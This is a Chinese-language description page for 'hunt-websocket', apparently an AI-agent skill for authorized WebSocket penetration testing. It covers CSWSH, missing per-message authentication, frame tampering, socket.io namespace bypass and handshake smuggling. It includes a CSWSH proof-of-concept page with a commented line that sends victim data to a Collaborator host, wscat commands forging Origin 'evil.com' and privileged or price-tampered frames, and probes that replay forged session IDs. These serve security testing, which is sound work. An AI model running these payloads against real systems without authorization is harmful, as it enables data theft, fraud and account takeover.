关于 hunt-websocket
hunt-websocket 是面向授权测试人员的 WebSocket 应用安全测试技能,涵盖握手、消息和频道授权风险,并强调验证实际影响、排除误报。
主要功能
- 01发现 WebSocket 端点
- 02检查 CSWSH 攻击条件
- 03测试握手及逐消息认证
- 04探测帧篡改与房间授权
- 05验证影响并排除误报
适用场景
- 01测试 Cookie 认证套接字的 CSWSH 风险
- 02检查特权帧是否需要授权
- 03评估结账或游戏消息的篡改风险
- 04验证 socket.io 命名空间的访问控制
MCP 相关
该技能提及 Burp MCP 操作,用于查看 WebSocket 历史记录,并通过 Collaborator 确认带外交互。
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-websocket安装后在 Claude Code 中输入/hunt-websocket确认已加载。
详细介绍
HUNT-WEBSOCKET — WebSocket 安全
核心资产目标
如果使用 Cookie 认证握手,且没有 CSRF 令牌或每连接令牌,则 CSWSH(跨站 WebSocket 劫持)的严重性为高至严重(可实时窃取任意已登录受害者的数据)。
价值最高的攻击链:
- CSWSH → 数据窃取 / ATO — 握手通过环境 Cookie 进行认证,没有 CSRF 令牌,也未强制校验 Origin → 攻击者页面以受害者身份打开 WS,并传输其消息、个人身份信息和令牌。如果数据流中包含会话令牌、刷新令牌或 CSRF 令牌,则可进一步升级为 ATO。
- 没有逐消息认证 — 存在 HTTP / 握手认证,但不会重新授权各个 WS 帧 → 接受特权消息(
deleteUser、getSecretConfig)。 - 消息篡改 — 在交易、游戏或结账应用中修改传输中的帧(价格、数量、userId、金额)→ 金融欺诈。
- socket.io 命名空间 / 房间授权绕过 — 无需权限检查即可连接到特权命名空间,或加入其他用户的房间 → 跨租户实时数据窃取。
- 握手层 Upgrade 请求走私 — 格式错误的
Upgrade/Connection/Sec-WebSocket-*握手导致前置代理与源站对是否发生升级产生分歧 → 请求走私隧道。
依据 — 参考案例(开始测试前阅读)
以下是公开且可验证的参考资料。请据此判断真正的 WS 漏洞是什么样的,以及如何证明。不要编造其他报告 ID 或赏金金额。
| # | 来源 / ID | 类型 | 经验 |
|---|---|---|---|
| 1 | PortSwigger Web Security Academy — “跨站 WebSocket 劫持”(研究与实验) | CSWSH | CSWSH 的经典模型:Cookie 认证握手 + 没有 CSRF 令牌 + 缺少 Origin 检查 → 攻击者可以以受害者身份读取和发送数据。这是权威的方法论。 |
| 2 | Christian Schneider — “跨站 WebSocket 劫持(CSWSH)”(原始披露 / 文章,2013) | CSWSH | 首个公开的 CSWSH 技术:Cookie 认证握手 + 未强制校验 Origin;PoC 必须证明攻击者浏览器收到受害者数据,而不只是得到 101 响应。 |
| 3 | Coda CSWSH(本仓库 hunt-csrf 集合中引用) | CSWSH | 实时协作应用通常完全依靠 Cookie 对 socket 进行认证;缺失的控制措施是 Origin 允许列表。 |
| 4 | CVE-2020-7662 — websocket-extensions(Node)ReDoS | DoS | 特制的 Sec-WebSocket-Extensions 标头会触发灾难性回溯 — 握手标头本身就是攻击面,不只有数据帧。 |
| 5 | CVE-2024-37890 — ws(Node)DoS | DoS | 大量握手请求标头会耗尽服务器资源;这证实握手本身在数据帧传输前就可能受到解析器攻击。 |
| 6 | 过时的 socket.io / Engine.IO 技术栈 | socket.io | 这说明了第 7 阶段版本指纹识别步骤的必要性 — 先识别版本,再检查该版本的已知安全公告。 |
以上仅列出 4 个可验证的 CVE,并给出精确 ID。对于无法确定精确标识符的案例,请在描述技术时不要添加引用 — 错误的 CVE 比没有引用更糟。
第 1 阶段 — 发现 WebSocket 端点
# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
recon/$TARGET/ --include="*.js" 2>/dev/null | \
grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u
# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
recon/$TARGET/urls.txt | sort -u
# Probe handshake (101 = upgrade supported)
curl --max-time 30 --connect-timeout 10 -sI -o /dev/null -w "%{http_code}\n" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
"https://$TARGET/ws"
# socket.io polling handshake leaks version + sid
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open
在 Burp Pro 中浏览应用后,使用 get_proxy_websocket_history(以及 WebSockets 选项卡)枚举活动 socket、消息架构,以及哪些帧包含敏感认证数据。
第 2 阶段 — CSWSH(跨站 WebSocket 劫持)
CSWSH 必须同时满足以下三个条件:(a)握手通过环境凭据进行身份验证(自动发送的 cookie);(b)握手中没有不可预测的、每个连接独有的令牌(没有 CSRF 令牌/URL 或正文中没有令牌);(c)服务端不强制校验 Origin。缺少其中任何一个条件,攻击都无法成立。
# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
# Look for: Cookie: session=... AND the ABSENCE of any per-request token
# (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
# If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.
# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
--header "Origin: https://evil.com" \
--header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2); // unique per run
var ws = new WebSocket("wss://TARGET/ws"); // attacker cannot forge Origin
ws.onopen = () => {
log("[+] 101 opened from attacker origin");
ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
log("VICTIM-DATA: " + e.data);
// Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
// navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>
排除误报:
- 收到来自
Origin: evil.com的完整101响应并不算发现。许多服务端会接受升级请求,但随后不发送任何内容,或在收到第一帧经过身份验证的消息时关闭连接。 - 使用你在账户 B 中植入的唯一标记/不同的受害者个人身份信息,验证收到的数据是否属于与攻击者不同的账户。
- 将收到的负载外传到 Burp Collaborator/OAST 监听器,以便在带外记录数据接收情况——这是报告中的影响证明。
- 如果每个连接独有的令牌随握手传递(位于 URL、子协议或第一帧中),则 CSWSH 无法跨站利用;应降低严重性或不予报告。
第 3 阶段 — WS 消息缺少身份验证/身份验证薄弱
握手身份验证 ≠ 每条消息身份验证。应用通常只对套接字进行一次身份验证,然后便信任后续的每一帧。
# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}
# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}
**验证:**特权操作必须产生实际效果(删除测试用户、返回秘密配置、产生可通过第二个通道观察到的状态变化)——被接受后静默忽略的帧不算发现。使用未经过身份验证的客户端重新执行,以确认该操作并非只是被无害地广播给所有人。
第 4 阶段 — 消息篡改(金融/游戏/结账)
# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
# {"price":100} -> {"price":0.01}
# {"amount":1} -> {"amount":9999}
# {"userId":123} -> {"userId":1} # impersonate admin
# {"orderTotal":...} -> recompute downstream?
# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}
**验证:**篡改后的值必须在服务端持久保存——通过 REST/订单 API 或新的套接字连接进行确认,确保订单/余额/价格确实反映了篡改结果。许多 UI 会乐观地回显你自己发送的帧;该回显并不能作为证据。证明其造成的财务/状态影响,最好使用沙盒/测试工具。
第 5 阶段 — 绕过 socket.io/SignalR/Phoenix 命名空间与房间授权
Engine.IO/socket.io 是构建在原始 WebSocket 之上的协议。数据包前缀(Engine.IO 的 4=MESSAGE 封装 socket.io 的 0=CONNECT、1=DISCONNECT、2=EVENT)携带命名空间/房间意图。加入时必须进行授权检查,但这种检查往往缺失。
# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
--header "Cookie: session=YOUR_SESSION"
# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
# then CONNECT to a namespace with a socket.io CONNECT packet.
# CORRECT packet to join the /admin namespace: 40/admin,
# 4 = Engine.IO MESSAGE, 0 = socket.io CONNECT, /admin, = namespace
# (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
# Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
# on rejection. A 40 success to a privileged namespace as a low/no-priv
# user is the bug.
# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}] # root namespace
# Watch for 42 EVENT frames carrying ANOTHER user's data.
**验证:**区分已连接到命名空间与已收到特权数据。只有当你收到包含其他租户/用户数据的 42 事件帧,或特权 emit 产生可验证的服务端效果时,才能确认该发现。没有后续数据的 40/admin 确认消息可能只表示一个开放但为空的命名空间。
SignalR 类似操作:在
/<hub>/negotiate进行协商,然后连接并调用 hub 方法的Invoke/Send——测试方法级别的授权。Phoenix Channels:向topic:subtopic发送phx_join,并检查服务端的join/3是否对主题进行授权。
阶段 6 — 握手层升级请求走私(不是帧走私)
重要提示:WebSocket 建立后,你的载荷会封装在 WS 帧中,代理绝不会再将其解析为 HTTP。在已打开的 wscat 会话中输入 GET /admin HTTP/1.1 不会有任何作用。与 WebSocket 相关的走私发生在握手阶段,此时还不存在任何帧。
真正的技术是:发送一条 WebSocket Upgrade 请求,让前端代理和源站对其产生不同的解读——例如,错误的 Sec-WebSocket-Version 会导致源站回复 426 Upgrade Required(或 400),而代理已经判定连接已“升级”,并停止解析 HTTP。随后,代理会将后续字节作为不透明流直接隧道传输到源站,让你能够将任意 HTTP 请求走私过前端控制(WAF/授权)。
# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:
# A) Valid-looking upgrade but unsupported version:
# Upgrade: websocket
# Connection: Upgrade
# Sec-WebSocket-Version: 777 <- origin should 426; does the proxy still tunnel?
# Sec-WebSocket-Key: <16-byte base64>
# B) Upgrade header present but Connection: keep-alive (mismatch)
# C) Smuggled second request body after a "successful" 101, then send a normal
# follow-up request on the same connection and watch for a desynced response.
使用 Burp Pro 的 HTTP Request Smuggler 扩展来执行此操作(其中包含 WebSocket 升级测试用例),而不是手动操作。验证方式与经典走私完全相同:通过时序/差异探测证明发生了不同步,并展示实际影响(访问内部/禁止路径、投毒缓存响应,或捕获其他用户的请求)——必须通过 Burp Collaborator / OAST 确认,不能仅凭单个含糊的响应下结论。
阶段 7 — socket.io / Engine.IO 专项
# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.
# Namespace selection is a PROTOCOL message, not a URL param.
# WRONG: wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
# ^ `nsp` is NOT a recognized socket.io query param. It is silently
# ignored and you connect to the ROOT namespace "/". You will believe
# you tested /admin when you did not.
# RIGHT: open the socket, then send the CONNECT packet 40/admin, (Phase 5).
# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
# 400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.
工具
npm install -g wscat # CLI WS client (raw + socket.io)
brew install websocat # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
# Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
# enumerate frames; generate_collaborator_payload + get_collaborator_interactions
# to prove out-of-band receipt from a CSWSH/smuggling PoC.
攻击链表
| WS 发现 | 攻击链 | 影响 |
|---|---|---|
| CSWSH + 流中的令牌 | 从受害者帧中窃取会话/刷新/CSRF 令牌 | ATO(严重) |
| 已确认 CSWSH | 订阅受害者频道,将数据外传至 OAST | 实时数据窃取(高) |
| 消息级别无身份验证 | 发送管理员/特权帧 | 权限提升(严重) |
| 消息篡改 | 修改价格/金额/userId,并在服务端确认 | 金融欺诈(严重) |
| 命名空间/房间授权绕过 | 加入其他租户的房间,读取 42 事件 | 跨租户数据外传(高) |
| 握手升级请求走私 | 将 HTTP 隧道传过 WAF/授权控制,并通过 OAST 确认 | 请求走私 → SSRF/缓存投毒(高至严重) |
验证(报告前必须完成)
- ✅ CSWSH:攻击者来源的 PoC HTML 必须在另一个已登录的受害者账户下打开,并且接收到该受害者的数据(通过唯一植入的标记/独特的 PII 验证),再将其外传至 Collaborator/OAST。仅凭来自外部 Origin 的
101不构成安全发现。 - ✅ 消息级别无身份验证:特权帧会产生可验证的服务端效果(通过第二个通道/REST API 确认状态变更),而不只是“被接受”。
- ✅ 消息篡改:篡改后的值会在服务端持久保存(通过订单/余额 API 确认),而不只是回显在 UI 中。
- ✅ **命名空间/房间绕过:**收到包含其他用户数据的
42事件帧,而不只是40命名空间确认帧。 - ✅ 升级请求走私:通过时序/差异探测证明发生了不同步,并且存在实际影响,且已通过 OAST 确认。不能仅凭单个响应推测。
- ❌ 拒绝以下情况:仅有一个 101、已接受但被忽略的帧、自回显消息、已连接但为空的命名空间,或任何缺少带外/跨账户证据的“已确认”结论。
严重程度:
- CSWSH 泄露会话/刷新令牌 → ATO:严重
- CSWSH → 实时会话数据窃取:高
- 管理员/特权 WS 操作无身份验证:严重
- 金融消息篡改(经服务端确认):严重
- 命名空间/房间订阅绕过(跨租户):高
验证
运行此自测,以确认已准备好进行 WebSocket 安全测试:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-websocket" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试用于验证技能结构正确且可供使用。
陷阱
- WebSocket 无身份验证 —— 如果 WebSocket 端点不要求身份验证令牌,任何人都可以连接。测试连接后的身份验证要求。
- 使用 ws:// 而非 wss:// —— 公共服务上的明文 WebSocket 会遭受中间人攻击。如果 WebSocket 传输敏感数据,则风险为中等。
- WebSocket CSWSH —— 跨站 WebSocket 劫持:如果 WebSocket 握手不验证 Origin,攻击者的页面就可以建立 WebSocket 连接。使用
Origin: evil.com进行测试。 - WebSocket 消息注入 —— 向会转发给其他用户的 WebSocket 消息中注入内容,会造成通过 WebSocket 实现的存储型 XSS。
相关技能
hunt-csrf—— 从结构上看,CSWSH 是 CSRF 与 WebSocket 升级的组合。利用链:握手通过环境 Cookie 进行身份验证 + 无 CSRF 令牌 + 缺少 Origin 检查 → 攻击者来源的页面以受害者身份打开 WS 并传输消息 → 影响模式与 CSRF 相同(未经同意更改状态),但具备双向通信能力。hunt-http-smuggling—— 握手层的 Upgrade 请求走私(格式错误的 Upgrade/Connection 标头)会导致前置代理与源站对是否发生了协议升级意见不一。利用链:通过 WAF 建立走私隧道 → 访问内部端点或造成缓存投毒。hunt-ssrf—— 接受 URL 参数或连接目标覆盖参数的 WebSocket 端点属于 SSRF 攻击面。利用链:WS 客户端连接到 wss://target/ws?proxy=attacker-host → 服务端代理跟随该地址 → 访问 [REDACTED_IP] 上的云元数据。hunt-session—— 重连时不重新验证会话的 WebSocket 连接会造成持久化漏洞。利用链:在新的 WS 连接中重放被盗的会话 Cookie → 重连后无需重新验证身份,即可继承所有已订阅的频道。hunt-tls-network—— 使用 wss:// 而非 ws://(明文)建立 WebSocket 连接,决定了传输帧中的 PII 是否会在网络传输过程中被读取。利用链:在非标准端口上使用 ws:// → TLS 降级 → 凭据被截获。security-arsenal—— 使用 WebSocket CSWSH PoC 模板、socket.io/signalr 命名空间发现载荷,以及 WS 消息篡改帧构造指南。triage-validation—— 应用 OOB-Or-It-Didn't-Happen 门槛:只有当攻击者来源的 JS 实际收到受害者数据(通过唯一标记 / 独特的 PII 进行验证),并将其外传到 Collaborator 监听器时,才能确认 CSWSH。仅有来自外部 Origin 的 101 响应不构成安全发现。